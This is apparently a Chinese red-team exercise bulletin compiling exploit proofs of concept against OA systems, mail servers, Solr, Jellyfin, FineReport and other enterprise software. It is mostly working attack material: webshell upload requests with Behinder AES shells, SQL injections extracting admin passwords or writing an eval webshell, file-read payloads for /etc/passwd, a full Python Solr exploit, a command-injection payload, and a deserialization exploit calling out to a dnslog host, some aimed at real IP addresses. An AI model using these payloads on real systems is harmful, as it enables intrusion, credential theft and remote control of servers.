索引
HW開始之前的
0x01 志遠OA任意用戶登錄
4月8號安全情報
4月8日15時，最新傳出WPS-0day利用方式，通過點擊觸發WPS內置瀏覽器RCE 4月8日12時，有消息傳出齊治堡壘機存在命令執行漏洞，poc疑似已流出 4月8日12時，網傳深信服EDR存在命令執行漏洞，poc疑似已流出 4月8日12時，網傳深信服VPN存在無條件RCE漏洞，poc疑似已流出 4月8日12時，網傳jackson存在反序列化漏洞，poc疑似已流出 4月8日12時，網傳CoreMai存在命令執行漏洞, poc疑似已流出 4月8日12時，網傳用友NC6.5版本存在反序列化命令執行漏洞，poc疑似已流出 4月8日12時，網傳dubbo存在反序列化命令執行漏洞，poc疑似已流出 4月8日12時，網傳weblogic存在反序列化命令執行漏洞，poc疑似已流出 4月8日11時，網傳和信創天雲桌面系統全版本存在命令執行，文件上傳，poc已流出 4月8日11時，網傳紅帆0A任意文件寫入漏洞，poc疑似已流出 4月8日11時，網傳exchange、 致遠、shiro 存在0day漏洞,利用方式疑似已流出 4月8日11時，網傳金蝶K3Cloud全版本存在命令執行，poc疑似已流出 4月8日11時，網傳用友U8Cloud版本存在命令執行，poc疑似已流出 4月8日11時，網傳h3c計算管理平台2016年版存在任意賬戶添加，poc疑似已流出 4月8日11時，網傳啟明星辰天清漢馬USG防火牆存在邏輯缺陷，poc疑似已流出 4月8日10時，有消息傳出天眼存在0day漏洞，poc已流出 0x02 dzzoffice 前台RCE
項目地址
https://github.com/zyx0814/dzzoffice/releases/
漏洞前提
首先需要獲取到authkey 這個可以通過爆破或者其他的方式獲取到具體的這個請看文章
我現在的環境的key為：3090dfHwzmw9lsC3
加密腳本
<?php function authcode_config($string,$key, $operation = 'DECODE', $expiry = 0) { $ckey_length = 4; $key = md5($key); $keya = md5(substr($key, 0, 16)); $keyb = md5(substr($key, 16, 16)); $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : ''; $cryptkey = $keya.md5($keya.$keyc); $key_length = strlen($cryptkey); $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string; $string_length = strlen($string); $result = ''; $box = range(0, 255); $rndkey = array(); for($i = 0; $i <= 255; $i++) { $rndkey[$i] = ord($cryptkey[$i % $key_length]); } for($j = $i = 0; $i < 256; $i++) { $j = ($j + $box[$i] + $rndkey[$i]) % 256; $tmp = $box[$i]; $box[$i] = $box[$j]; $box[$j] = $tmp; } for($a = $j = $i = 0; $i < $string_length; $i++) { $a = ($a + 1) % 256; $j = ($j + $box[$a]) % 256; $tmp = $box[$a]; $box[$a] = $box[$j]; $box[$j] = $tmp; $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256])); } if($operation == 'DECODE') { if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) { return substr($result, 26); } else { return ''; } } else { return $keyc.str_replace('=', '', base64_encode($result)); } } echo base64_encode(authcode_config("disk::..././..././..././shell.php",md5('3090dfHwzmw9lsC3'),'ENCODE')); 輸出的加密結果
構造數據包：
POST /core/api/wopi/index.php?access_token=1&action=contents&path=ZmM0OWp3bDgxbDE3WlhocFlCVUl4ZDFvRkNYeDRVaGtQbklJYlVSUjV2VjRzLzBwUkJ0Y051ZHl4QzVITFlvN205cENqZktDY1lyNHRQQ0pWblU= HTTP/1.1 Host: word.com Content-Length: 18 Accept: application/json, text/javascript, */*; q=0.01 X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Origin: http://word.com Referer: http://word.com/user.php?mod=login Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close <?php phpinfo();?> 4月9號安全情報
0x03 JellyFin任意文件讀取
GET /Audio/anything/hls/..\data\jellyfin.db/stream.mp3/ HTTP/1.1
GET /Videos/anything/hls/m/..\data\jellyfin.db HTTP/1.1
GET
/Videos/anything/hls/..\data\jellyfin.db/stream.m3u8/?api_key=4c5750626da14b0a804977b09b
f3d8f7 HTTP/1.1
0x04 帆軟 V9getshell【歷史漏洞】
FineReport V9
注意: 這個漏洞是任意文件覆蓋，上傳 JSP 馬，需要找已存在的 jsp 文件進行覆蓋 Tomcat
啟動帆軟后默認存在的 JSP 文件:
比如：/tomcat-7.0.96/webapps/ROOT/index.jsp
覆蓋 Tomcat 自帶 ROOT 目錄下的 index.jsp:
POST /WebReport/ReportServer?
op=svginit&cmd=design_save_svg&filePath=chartmapsvg/../../../../WebReport/update .jsp HTTP/1.1 Host: 192.168.169.138:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.92 Safari/537.36 Connection: close Accept-Au: 0c42b2f264071be0507acea1876c74 Content-Type: text/xml;charset=UTF-8 Content-Length: 675 {"__CONTENT__":"<%@page import=\"java.util.*,javax.crypto.*,javax.crypto.spec.*\"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if(request.getParameter(\"pass\")!=null) {String k=(\"\"+UUID.randomUUID()).replace(\"- \",\"\").substring(16);session.putValue(\"u\",k);out.print(k);return;}Cipher c=Cipher.getInstance(\"AES\");c.init(2,new SecretKeySpec((session.getValue(\"u\")+\"\").getBytes(),\"AES\"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInsta nce().equals(pageContext);%>","__CHARSET__":"UTF-8"} 0x05 泛微 OA 8 前台SQL注入
POC
http://106.15.190.147/js/hrm/getdata.jsp?cmd=getSelectAllId&sql=***注入點 使用Payload查詢數據庫中sysadmin的密碼
Select password as id from HrmResourceManager http://106.15.190.147/js/hrm/getdata.jsp?cmd=getSelectAllId&sql=select%20password%20as%2 0id%20from%20HrmResourceManager 
0x06 泛微 OA 9前台無限制getshell
漏洞位置：
/page/exportImport/uploadOperation.jsp
文件上傳位置：
view-source:http://112.91.144.90:5006/page/exportImport/fileTransfer/1.jsp 
wiki POC 鏈接https://github.com/PeiQi0/PeiQi-WIKI-POC/commit/f5fb98b0cc2c9dcc9b8adce41479cf836265419a
POST /page/exportImport/uploadOperation.jsp HTTP/1.1 Host: xxx.xxx.xxx.xxx Content-Length: 397 Pragma: no-cache Cache-Control: no-cache Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36 Edg/89.0.774.68 Origin: null Content-Type: multipart/form-data; boundary=----WebKitFormBoundary6XgyjB6SeCArD3Hc Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6 dnt: 1 x-forwarded-for: 127.0.0.1 Connection: close ------WebKitFormBoundary6XgyjB6SeCArD3Hc Content-Disposition: form-data; name="file"; filename="peiqi.jsp" Content-Type: application/octet-stream <%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%> ------WebKitFormBoundary6XgyjB6SeCArD3Hc-- ``` 地址: /page/exportImport/fileTransfer/peiqi.jsp 默認密碼 rebeyond 0x07 和信創天遠程桌面命令執行
POST /Upload/upload_file.php?l=1 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/87.0.4280.141 Safari/537.36
Accept: image/avif,image/webp,image/apng,image/*,*/*;q=0.8
Referer: x.x.x.x
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,fil;q=0.8
Cookie: think_language=zh-cn; PHPSESSID_NAMED=h9j8utbmv82cb1dcdlav1cgdf6
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryfcKRltGv
Content-Length: 164
------WebKitFormBoundaryfcKRltGv
Content-Disposition: form-data; name="file"; filename="1.png"
Content-Type: image/avif
1
------WebKitFormBoundaryfcKRltGv--
0x08 默安蜜罐管理平台未授權問【官方辟謠】
漏洞信息
幻陣是默安科技首創的一款基於攻擊混淆與欺騙防御技術的威脅檢測防御系統，由於蜜罐管理平台鑒權不完善，可導致攻擊者在未授權的情況下訪問管理頁面。默安官方發表通告並表示幻陣管理平台存在於內網網址，攻擊者難以進行訪問，且盡管可以訪問也只能讓幻陣執行ping指令，不會造成任何安全隱患。
漏洞危害
由於蜜罐管理平台鑒權不完善，可導致攻擊者在未授權的情況下訪問管理頁面。
官方辟謠
默安科技關注到業內有人散布“默安科技幻陣管理后台存在認證繞過漏洞”的不實消息，特此作出如下說明。
0x09 天擎越權訪問【官方辟謠】
POC
GET /api/dbstat/gettablessize HTTP/1.1 官方：近期，HW期間泄露情報，在Web登錄界面且未登錄的情況下會顯示提示信息，並且會涉及用戶組織，功能模塊授權過期時間等。天擎官方發表聲明並表示Web接口為正常接口，不存在漏洞。
0x10 天擎前台SQL注入漏洞【歷史漏洞】
PoC
https://<IP>/api/dp/rptsvcsyncpoint?ccid=1';create table O(T TEXT);insert into O(T) values('<?php @eval($_POST[1]);?>');copy O(T) to '<目標文件寫入路徑>';drop table O;-- 利用方式
將首先創建新的數據庫表，后將數據庫內容更名為webshell的目標名，最后刪除表清理痕跡。
官方辟謠
該漏洞為內部已知問題，並且在2020年護網前的版本已經修復。
0x11 天融信數據防泄漏系統（LDP）越權修改管理員密碼【歷史漏洞】
漏洞信息:
天融信數據防泄漏系統越權修改管理員密碼，該漏洞為2020年8月17號收到歷史情報，非近期HW期間漏洞。
POC
默認用戶superman的uid=1
POST /?module-auth_user&action=mod_edit.pwd HTTP/1.1
0x11 藍凌OA任意寫入漏洞
POC
/sys/search/sys_search_main/sysSearchMain.do?method=editParam&fdParemNames=11&FdParameters=[shellcode] 0x12 禪道11.6 SQL注入【歷史漏洞】
漏洞信息
11.6版本存在SQL注入漏洞，該漏洞為Nday ，非HW期間0DAY
漏洞驗證
注入來源於禪道采用的pathinfo，在以下URL中
http://xxx.xxx/zentaopms_11.6/www/api-getModel-api-sql-sql=select+account,password+from+zt_user 對路徑的解析為
getModel-<Model名字>-<Method名字>-<參數名字>=<參數的值> 0x13 Apache Solr 任意文件讀取漏洞【歷史漏洞】
漏洞信息
該漏洞是由於Apache Solr在默認安裝時不會開啟身份驗證，攻擊者在未授權情況下訪問Config API打開requestDispatcher.requestParsers.enableRemoteStreaming開關，進而通過構造惡意請求，執行SSRF攻擊，讀取目標服務器的任意文件。
影響范圍
Apache Solr <= 8.8.1 POC
http://ip//solr/db/debug/dump?param=ContentStreams&stream.url=file:///etc/passwd (db為存在的應用名)
POC2
http://ip//solr/db/debug/dump?param=ContentStreams(db為存在的應用名)
POST提交：stream.url=file:///etc/passwd
# solr任意文件下載漏洞poc # __coding=utf-8__ import requests import json import argparse TIMEOUT = 20 def run(target: str, action: str): try: admin_url = target + "/solr/admin/cores?indexInfo=false&wt=json" response = requests.get(admin_url, verify=False, timeout=TIMEOUT) if response.status_code == 200 or "name" in response.text: data = json.loads(response.content) for i in data["status"]: key = data["status"][i]["name"] return attack(key, target, action) except Exception as e: error = "[-] {} run error:{}".format(target, str(e)) raise RuntimeError(error) return None def attack(core_name: str, target: str, action: str): session = requests.session() config_url = target + "/solr/" + core_name + "/config" json_data = {"set-property": {"requestDispatcher.requestParsers.enableRemoteStreaming": "true"}} response = session.post(config_url, data=json.dumps(json_data), timeout=TIMEOUT) if response and 200 != response.status_code: return None dump_url = target + "/solr/" + core_name + "/debug/dump?param=ContentStreams" dump_data = {"stream.url": action} response = session.post(dump_url, data=dump_data, timeout=TIMEOUT) if response is None: return None elif 200 == response.status_code: content = json.loads(response.text) return content['streams'][0]['stream'] elif 500 == response.status_code: return response.text else: return None if __name__ == '__main__': parser = argparse.ArgumentParser(description='Solr 任意文件下載漏洞POC.') parser.add_argument('-u',"--url", help='solr attack target', required=True) parser.add_argument('-a', '--action', help='file or url', required=True) args = parser.parse_args() print("[+] check {} ,action:get {}".format(args.url, args.action)) result = run(args.url, args.action) if result is None: print("[-] Not found vuln") print("[+] The result is as follows:\n{}".format(result)) 0x14 Apache solr SSRF（服務器端請求偽造）
影響版本
Apache Solr < 8.8.2 POC
/solr/db/replication\?command=fetchindex\&masterUrl=http://xxxx 參考鏈接
https://github.com/keven1z/SolrfilereadPOC
0x15 致遠OA ajax.do 文件上傳漏洞【歷史漏洞】
漏洞信息
由於致遠OA舊版本某些接口存在權限繞過漏洞，攻擊者通過特制的HTTP請求將導致接口的權限機制被繞過，並結合某些接口功能實現在未授權情況下上傳惡意文件，從而控制目標主機，經驗證，該漏洞為2020年12月29日，致遠官網發布的2020年10-12月安全通告中歷史漏洞。
影響范圍
致遠OA V8.0 致遠OA V7.1、V7.1SP1 致遠OA V7.0、V7.0SP1、V7.0SP2、V7.0SP3 致遠OA V6.0、V6.1SP1、V6.1SP2 致遠OA V5.x POC
POST /seeyon/autoinstall.do.css/..;/ajax.do?method=ajaxAction&managerName=formulaManager&requestCompress=gzip HTTP/1.1 Host: 127.0.0.1 Connection: close Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Opera/9.80 (Macintosh; Intel Mac OS X 10.6.8; U; fr) Presto/2.9.168 Version/11.52 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 loginPageURL=; login_locale=zh_CN; Content-Type: application/x-www-form-urlencoded managerMethod=validate&arguments=%1F%C2%8B%08%00%00%00%00%00%00%00uTY%C2%93%C2%A2H%10%7E%C3%9E%C3%BD%15%C2%84%2F%C3%9A%C3%9136%C2%82%C2%8C%C3%ADN%C3%ACC%7B%21%C2%A2%C2%A8%C2%A0%5C%1B%C3%BB%00U%C3%88a%15%C2%B0rH%C3%991%C3%BF%7D%0B%C2%B0%C2%A7%7Bb%7B%C3%AB%C2%A52%C2%B32%C2%BF%C3%8A%C3%BB%C2%AF%C3%97%C3%AE%29%C2%B9%C3%A0%029%07%C2%92z%C3%9D%3F%C2%98%C3%81%17%C3%A6M%C2%A28%C2%B8%C2%96ts%2F%C3%8B%C2%BB%C3%AF%C3%A2y%C2%95%5E%C2%BC%2C%0B%C2%93%C2%B8%7E%C3%94%C3%B2K%18%C3%BBL%C3%AA%C3%A4%01%C3%B3%27%C3%93%C3%A9%C3%B7%C2%9F%C2%AE%C2%9E%C3%AB%C2%A4i%C3%B6%C2%94y%1EI%C3%A2%C2%A7%C3%8E%C3%B7%C3%9F%C2%99%C3%B6%C3%BC%169%C2%A5%C3%93%0F%C2%93%C3%BE%C2%8E%C2%9A%C3%A4%C3%86%25%C3%8C%C2%BD%0B%C2%93%C2%BE%C3%93%1C%05%C2%88%C2%BD%2B%C3%B3%C2%89Z%C2%AF%C3%86%7F%C3%AC%60%0C%C3%BBQ%C2%96V%C2%9D%C2%87%C2%9F%C2%A0%C3%8C%C3%9D%C2%81%2C%C3%B0%10%C2%AA%3D%C3%98%C2%89%C3%A9%0D%C3%8CR%C3%A2rcVZ%06%C2%B9%2B%0A%C2%B7-%C2%AEel%C3%A8%2CU%16%C3%8C%C2%92r%C3%8D%C2%A5%01%C3%84%C3%B3%02%C3%B0z%C2%B1%C3%86J%C3%A9jc%C3%B98x%29%C2%8F%C3%A2%22%C2%B65%C3%89%C2%87X%27%C2%80C%C2%A5%1B%C2%B1%C3%A1F%1B%12%29%1A%3E%3B%C2%B1r%C3%9Db5%05X%C2%8F%C2%A0%C2%888%5B%13%C2%AE%C2%96%01%C2%91%24%C2%A2%1C%C2%88c%02k%7C%C2%BC%C3%A0%2CM%18%C3%90%C3%B7l%1D%26Y%C3%83%C2%9B%7Ea%C3%B1%2B%01%2C%C3%95%C3%B2S%19%C3%85%C2%B5%C2%8DM%21%C2%87R%C2%B9%C2%8B%C2%AA%7F%00%C3%BF%C3%B2%C3%8D%16%C3%B5%C3%88%15%17%C3%842%C3%95%C3%94%C3%A5%C2%86%C2%8F%C2%92%C2%A8d%C2%96%C2%A9%C3%9C%C2%A4%C3%85%C3%91%C2%B7%C3%8D%C2%80%C2%B5%0D%C3%A1%0C%C3%88dFun%C2%80%C2%ADJ%C3%8BP%11%C2%88s%5D%C2%9E%C2%B7z%07q%1CP%0C%22%C2%89%C2%9B%C3%94%C3%A3%C2%95%01%C2%A0%C2%B4L%C3%A9-%3F%C2%B8Bc%C2%959%C3%86%C3%86%C3%9FsU%00%C3%B8%C2%8Do%C2%93+%C3%B4L%15I%C2%8B%1CZ%21%1A%C3%91%C3%B8Xh%C2%AE%0Ai%C3%99%C3%9A%C2%AD%C2%B1%C2%8Al%C2%8C%0A%C3%BB%C3%98b%C3%8B%C2%A2%C2%94m%C2%A6U%C2%B8%C3%86%15r1d%C2%9D%C3%A9yt2%C3%99g%C2%9A%C3%93%3A%C3%AFg%C3%9B%C2%A8%C3%B5V%01%C3%8D%01%C3%8D%C3%9F%3Do%C2%B1%12%01%C2%8C%C2%AEP%C2%AC%10%C2%9C%09%07%C2%B8%5C%C2%A5.%06%C2%BEscC%C3%BB%C2%B0%1F%C3%98%C2%87%0D%C3%99%1A6%C2%B2%22%C3%BD%C2%BC%3DH%03%2B%C2%94F%C2%80%C3%93oM%0DB%C3%A1%0AM%C3%95%C2%B0%C2%8Cj%60k%7E%085%29s%C3%88y%C2%B4%C3%A7%C3%90%C3%95ic%1C%C2%BF%C3%91k%0C%11%C2%9C%23ZW5p%C2%B1%C2%82%C3%A4%C3%A9j%C2%A2%C3%AA%C2%9BP%3E%C3%A4%C3%91%C2%9A%C3%86%C3%A0%C2%98%C3%BBd%13V%C2%85m%02%C3%BF%C3%88%C3%A9Q%1D%C2%AB%C3%86%C3%A9%C3%82%C2%91%C2%9F+%C2%8B%C3%B8%C3%89%C2%87%3Fc%C3%BB%C3%97%3FS%C2%99H%C2%A1%C2%AC5%C3%B2i%C2%9D%2F%40%C3%BCt%C3%BD%C2%86%C2%AF%C2%9DG.%C3%96yZ%C2%9F%04%C2%8AA%0AH%C2%A3%C3%97%C3%96%C2%A7%C3%96k%C3%BC%C3%BA%C2%B56%C3%B2%C3%B4L%C3%A5+%C2%B1%C2%88pvY%C2%9B%C3%A6c%C2%91%C3%89%C2%A2%C2%80+%C2%99%C3%9C%C2%A01%2C%5C%03%C3%9D%C3%A8%C3%9Bt%C2%AF%2B%0B%25R%C3%A74%C2%AF%C3%A5%C3%9D%C2%AEh%C3%BA%C2%83S%C3%91%3E%C3%96%C2%B1M%7BU%5E%C2%AE%100u%04%C3%B8%7Das%3A%7B%C3%84%C3%BA%C3%9B%1F%05%C2%A8i%3A%C2%B3.%3E%26%C3%94%C3%8F%C2%94%C3%86%40%C3%A3%C2%87%2B7VX%C3%8B%10%22%1A%1F%C3%B5C%C2%AF%C2%A0%C2%B1%C3%88%00%09%C2%9A%C2%9E%C3%9Es%C3%A3%02%C2%8A%C3%BA%10%C3%92%C3%9A%C3%AE%C2%A6%C3%A3%C2%A6%27%01%C2%A7%10%C3%87%C2%9C%C2%B0%C2%AE%C2%A8%C2%B3%C2%BB%C3%A8Z%C2%B6u%5D%C2%95.%C2%BF%7F%7C%C2%9Fq%26%2B%C3%A2%3E%0E3%C3%90%C2%9F%C2%BCh%C3%B3o%C3%83%C2%99%07%12H%C3%87%1C%C3%9E%C3%AFv%C3%82%3FW%C3%AA%C3%BDw%C2%AA%5B%C2%B3%3B%C3%93%C3%9A%C2%B6L%C3%AF%0E%C3%98o%C3%AFIq%3AQ%C2%80f%09%3C%7C%C3%A9%1C%0F%C2%8B%C2%AF%C3%8F%1F%C2%97%C3%84%C3%87-%C3%93o%18%14%C3%B7%3E%C2%82%C3%BF%C2%9F.%40I%C3%A6Q%C3%87%7E%7C%C2%AF%C2%B7+%25%C2%A0wb%C2%B2%C3%9C%C3%89C%C3%80TU%C3%95%7Bx%C3%AD%C3%BE%C2%A0%C2%AB%C2%91%C2%AE%C3%87%C3%97%C3%BA%C3%8E%2F%C2%85%C3%97%C3%BD%C3%BB_%2F%07M%C2%ADU%05%00%00 冰蠍3默認japx馬pass:rebeyond
webshell地址:http://xxx.xxx.xxx.xxx/seeyon/mmd.jspx 成功返回
HTTP/1.1 500 { "message":null, "code":"0614448583", "details":null } 0x16 億郵電子郵件系統遠程命令執行
參考鏈接 https://github.com/Tas9er/EYouMailRCE
tools EYouMailRCE-master.zip
POC
POST /webadm/?q=moni_detail.do&action=gragh HTTP/1.1 Host: 192.168.10.1 Content-Length: 25 Accept: */* User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36 Content-Type: application/x-www-form-urlencoded;charset=UTF-8 Origin: chrome-extension://ieoejemkppmjcdfbnfphhpbfmallhfnc Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: EMPHPSID=ffah74s753ae239996a1mmbld0; empos=0 Connection: close type='|cat /etc/passwd||' 0x17 其他漏洞信息
1、MYBB SQL 注入漏洞（CNVD-2021-25709）【可信度 100%】 MyBB 是款免費的開源論壇軟件。MyBB 1.8.26 之前版本的主題屬性存在 SQL 注入漏洞。 3、用友 NC 1DAY 反序列化【可信度 100%】 用友 NC 面向集團企業的世界級高端管理軟件，發現存在任意文件上傳漏洞，利用 apache commonscollections庫可執行反序列化。 4、釣魚郵件【可信度 100%】 來源網絡情報，發現釣魚郵件內含有惡意 execl 文件，文件點擊可造成遠程控制等威脅，微步在線已驗 證。 1）封禁 IP192.31.96.152； 2）注意惡意郵件后綴@rainmetal.cn，不要點擊此類郵件后綴發送的郵件。 5、和信創天雲桌面命令執行漏洞任意文件上傳【可信度 60%】 和信下代雲桌面系統（VENGD），是國內領先的基於 NGD架構的桌面虛擬化 產品，它融合了 VDI、VOI、IDV 三大架構優勢，實現了前后端混合計算，在調度服務器后端計算資源的 同時更能充分利用前端資源，和信下代雲桌面不僅可以滿足隨時隨地移動辦公的需求，更可以在窄帶環 境下實現 3D 高清播放和外設硬件的全面兼容，滿足大規模終端的管理、安全、運維需求。疑似和信創天 雲桌面存在任意文件上傳漏洞。 7、DZZOFFICE 最新版 RCE【可信度 100%】 DzzOffice是一款開源的雲存儲與應用管理工具，主要可用於企業管理阿里雲、亞馬遜等雲存儲等空間， 把空間可視化分配給成員使用。發現最新版存在 RCE，經驗證參數 bz 存在 SQL 注入漏洞。 8、深信服和致遠 OA 文件上傳漏洞情報【可信度 60%】 該情報屬於網絡情報暫無相關細節進行驗證。 9、F5 BIG-IP 16.0.X-ICONTROL REST 遠程代碼執行【可信度 100%】 F5 BIG-IP 是美國 F5 公司的款集成了網絡流量管理、應用程序安全管理、負載均衡等功能的應用交付平 台。F5 BIG-IP 存在安全漏洞，該漏洞允許未經身份驗證的攻擊者通過 BIG-IP 管理界面和自身 IP 地址對iContronl REST 接口進行網絡訪問，以執行任意系統命令，創建或刪除文件以及禁用服務。 10、多款 HUAWEI 產品內存泄露漏洞【可信度 100%】 Huawei IPS Moudule 等都是中國華為（Huawei）公司的產品。Huawei IPS Moudule 是一款入侵防御系統 （IPS）模塊。NGFW Moudule 是一款下一代防火牆（NGFW）模塊。Secospace USG6600 是款下一代防 火牆產品。多款 Huawei產品存在內存泄露漏洞。由於產品在某些場景下對內存釋放處理不當，遠程攻擊 者可能會發送特定報文來觸發該漏洞。成功利用該漏洞可能導致服務異常。 11、通達 OA V11,7 在線任意用戶登錄【可信度 100%】 通達 OA V11.7 版本存在這任意用戶登錄漏洞，該漏洞需要管理員在線才可以登錄系統，另外個方面就 是編譯在線的 瀈濼濷 值進行判斷。 12、CVE-2021-21975:VREALIZE OPERATIONS MANAGER SSRF【可信度 100%】 2021 年 3 月 31 日，VMWare 官方發布了 VMSA-2021-0004 的風險通告，漏洞編號為 CVE-2021-21975， CVE-2021-21983，漏洞等級：高危，漏洞評分 8.6。CVE-2021-21975：通過網絡訪問vRealize Operations Manager API 的惡意攻擊者可以執行服務器端請求偽造攻擊，以竊取管理憑據。 4月10號安全情報
0x18 用友NC 反序列化利用
漏洞關注點
/service/~xbrl/XbrlPersistenceServlet EXP
import requests import threadpool import urllib3import sys import base64 ip = "" dnslog = "\x79\x37\x64\x70\" #dnslog把字符串轉16進制替換該段，測試用的ceye.io可以回顯 data = "\xac\xed\x00\x05\x73\x72\x00\x11\x6a\x61\x76\x61\x2e\x75\x74\x69\x6c\x2e\x48\x61\x73\x68\x4d\x61\x70\x05\x07\xda\xc1\xc3\x16\x60\xd1\x03\x00\x02\x46\x00\x0a\x6c\x6f\x61\x64\x46\x61\x63\x74\x6f\x72\x49\x00\x09\x74\x68\x72\x65\x73\x68\x6f\x6c\x64\x78\x70\x3f\x40\x00\x00\x00\x00\x00\x0c\x77\x08\x00\x00\x00\x10\x00\x00\x00\x01\x73\x72\x00\x0c\x6a\x61\x76\x61\x2e\x6e\x65\x74\x2e\x55\x52\x4c\x96\x25\x37\x36\x1a\xfc\xe4\x72\x03\x00\x07\x49\x00\x08\x68\x61\x73\x68\x43\x6f\x64\x65\x49\x00\x04\x70\x6f\x72\x74\x4c\x00\x09\x61\x75\x74\x68\x6f\x72\x69\x74\x79\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67\x3b\x4c\x00\x04\x66\x69\x6c\x65\x71\x00\x7e\x00\x03\x4c\x00\x04\x68\x6f\x73\x74\x71\x00\x7e\x00\x03\x4c\x00\x08\x70\x72\x6f\x74\x6f\x63\x6f\x6c\x71\x00\x7e\x00\x03\x4c\x00\x03\x72\x65\x66\x71\x00\x7e\x00\x03\x78\x70\xff\xff\xff\xff\x00\x00\x00\x50\x74\x00\x11"+dnslog+"\x3a\x38\x30\x74\x00\x00\x74\x00\x0e"+dnslog+"\x74\x00\x04\x68\x74\x74\x70\x70\x78\x74\x00\x18\x68\x74\x74\x70\x3a\x2f\x2f"+dnslog+"\x3a\x38\x30\x78" uploadHeader={"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36"} req = requests.post("http://+"ip"+/service/~xbrl/XbrlPersistenceServlet", headers=uploadHeader, verify=False, data=data, timeout=25) print (req.text) 0x19 用友NC協同管理軟件存在目錄遍歷漏洞
漏洞關注點
/NCFindWeb?service=IPreAlertConfigService&filename= 0x20 金山終端安全系統 V8存在默認口令
默認口令
admin/admin
0x21 金山終端安全系統 V8/V9存在文件上傳漏洞
漏洞關注點
dzz/shares/index.php 0x22 齊治堡壘機某版本任意用戶登錄
漏洞關注點
/audit/gui_detail_view.php
Fofa
app="齊治科技-堡壘機" POC
/audit/gui_detail_view.php?token=1&id=%5C&uid=%2Cchr(97))%20or%201:%20print%20chr(121)%2bchr(101)%2bchr(115)%0d%0a%23&login=shterm 0x23 Coremail 郵件系統任意文件上傳漏洞【歷史漏洞】
漏洞危害:
其特定版本范圍內存在任意文件上傳漏洞，攻擊者可以上傳webshell，從而造成遠程代碼執行。
影響范圍
Coremail <= XT5.x 漏洞復現:
使用網上流傳POC 進行驗證 https://github.com/xiaoshu-bit/CoreMailUploadRce
pip3 install -r requirements.txt python3 coremail_upload.py -u http://127.0.0.1:1111 文件上傳poc：
POST /webinst/action.jsp HTTP/1.1 Host: 120.136.129.10 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1700.76 Safari/537.36 Content-Type: application/x-www-form-urlencoded Content-Length: 99 Connection: close func=checkserver&webServerName=127.0.0.1:6132/%0d@/home/coremail/web/webapp/justtest.jsp%20JUSTTEST 上傳文位置： http://ip:port/coremail/justtest.jsp
0x24 Apache Struts2補丁繞過0day(實際為S2-052)【無POC】
影響版本
2.1.1到2.3.x之前的2.3.x和2.5.13之前的2.5.x
漏洞關注點：
com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource 原exp
